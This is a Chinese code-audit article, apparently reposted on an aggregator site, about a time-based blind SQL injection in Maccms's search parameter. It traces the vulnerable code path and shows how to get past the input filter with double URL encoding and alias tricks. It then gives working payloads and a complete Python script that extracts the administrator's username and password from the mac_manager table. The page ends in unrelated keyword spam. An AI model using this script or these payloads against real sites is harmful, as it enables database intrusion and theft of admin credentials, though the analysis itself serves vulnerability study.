千家信息网

Maccms SQL 注入分析及脚本怎么写

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,Maccms SQL 注入分析及脚本怎么写,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。0x01 前言一个朋友叫我研究maccms的
千家信息网最后更新 2025年01月20日Maccms SQL 注入分析及脚本怎么写

Maccms SQL 注入分析及脚本怎么写,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

0x01 前言

一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。

0x02 环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具

搭建这个程序也挺简单的,也是一步到位。

0x03 漏洞复现

1. 首先在程序的后台添加一条数据
2. 执行我们的payload,可以看到网站跳转延迟了3s以上。url:http://sb.com/index.php?m=vod-searchpost:wd=))||if((selectascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%633. 因为是盲注所以注入出管理员的账号密码在下文分析。

0x04 SQL执行过程分析

  1. 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
    因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/

  2. phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。3. 我们先随便输入一点数据访问后会断在index.php的第一行4. F8往下走,走到第14行F7跟进去。然后F8一直往下走,可以看到拦截的规则走到POST的过滤这里F7进去arr_foreach函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode函数URL解码。最后分别对传过来的wdtest两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。比如你输入wd=/**/就会被拦截因为/**/存在拦截的正则表达式里面。5. 走出来会到$m = be('get','m');这里,这里只是对m传过来的vod-search进行addslashes函数的过滤6. 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是vod,所以会包含vod.php文件并执行。7. 因为我们传参是search所以会走到这里,我们可以F7进去看执行的过程。在这里会经过urldecode函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack方法的过滤最后到htmlEncode方法的替换8. 跳出到vod.php文件后F8走到这里,F7进去看SQL执行的过程。一直走到markname的值是vod然后不用管F8继续往下走,走到这里再F7进去可以看到SQL执行是到这里,下面是执行的语句SELECT count(*) FROM {pre}vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )

0x05 漏洞分析

上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。

  1. 刚才这里跳过了,文件位置:inc/common/template.php,可以看到传过来的P["wd"]值赋值给了$lp['wd']。2. 再往下看753~755行,可以看到我们的值是放在这里面,然后送去GetOne执行的。

if (!empty($lp['wd'])){ $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) '; }

3. 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用MySQL监控的软件去一步一步弄清楚。

AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )4. 但是如果直接放语句上去会被检测到危险字符它主要对我们这里的空格连接处匹配到了那么我们可以用别名as ' '去代替,也可以省略as直接用 ' ',别名的用法在文章尾部的参考有给出。

5. 我们再执行,用Seay的代码审计工具的Mysql监控软件查看,我们的空格和后面的\被转义了。

还记得我们chkSql方法吗?先是执行urldecode解码,然后StopAttack匹配,最后htmlEncode编码,最后Be方法那里 还有一个addslashes函数过滤,所以会导致后面的\转义成\\htmlEncode又会对前面的空格转义成 。

function chkSql($s){global $getfilter;if(empty($s)){    return "";}$d=$s;while(true){    $s = urldecode($d);    if($s==$d){        break;    }    $d = $s;}StopAttack(1,$s,$getfilter);return htmlEncode($s);}

6. 这里我们可以利用URL编码绕过htmlEncode,具体可以看HTML URL编码表 等都可以,后面的\可以用URL编码绕过%5c或者双编码%25%35%63
7. 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度wd=))||if((selectascii(length((select(m_name)from(mac_manager))))=53),(sleep(3)),0)#%5c``

0x06 编写盲注脚本

当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合Python和MySQL的知识理解。

#! /usr/bin/python# -*- coding:utf-8 -*-#author:F0rmatimport requestsimport timedict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"UserName=''UserPass=''UserName_length=0url='http://sb.com/'url = url + r'/index.php?m=vod-search'def main():    global UserName    global url    for i in range(30):        startTime = time.time()        sql = "))||if((selectascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(            ord(str(i)))        data = {'wd': sql}        response = requests.post(url, data=data)  # 发送请求        if time.time() - startTime > 3:            UserName_length = i            print UserName_length            break    for num in range(1, UserName_length + 1):        for i in dict:  # 遍历取出字符            startTime = time.time()            sql = "))||if((selectascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(                str(num), ord(i))            data = {'wd': sql}            response = requests.post(url, data=data)  # 发送请求            print data            if time.time() - startTime > 3:                UserName += i                break    global UserPass    for num in range(32):        for i in dict:  # 遍历取出字符            startTime = time.time()            sql = "))||if((selectascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(                str(num), ord(i))            data = {'wd': sql}            response = requests.post(url, data=data)  # 发送请求            print data            if time.time() - startTime > 3:                UserPass += i                break    print 'username:'+UserName,'password:'+UserPassif __name__ == '__main__':    main()

关于Maccms SQL 注入分析及脚本怎么写问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

分析 过程 代码 脚本 函数 方法 字符 文件 编码 语句 审计 数据 漏洞 空格 转义 问题 一行 别名 就是 工具 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中国菌种保藏中心数据库 影视软件开发 仙居软件开发公司 随着网络技术迅猛发展英文 软件开发文档扫描文件 海淀区综合软件开发标准 曙光服务器开机进入不了系统 网络服务器机柜生产厂家品类齐全 海德服务器初始密码 教育系统网络安全政策解读心得 网络安全与执法专业都有什么课程 网络安全教育公开课心得 网络安全相关机构 网络安全进社区的孩子 单位网络安全存在的问题措施 奥奇传说手游怎么转服务器 网络技术劳动力需求 我国计算机网络技术 数据库自然连接后列的顺序 上海个人软件开发管理制度 安徽什么网络技术服务认真负责 千优影音网络技术有限公司 安徽计算机应用软件开发报价 软件开发的需求部门 软件开发迟迟没有做出来怎么办 软件开发和制作有什么区别 saperp数据库使用方法 北京乔思锐和网络技术 网络技术劳动力需求 兰州企航软件开发有限公司
0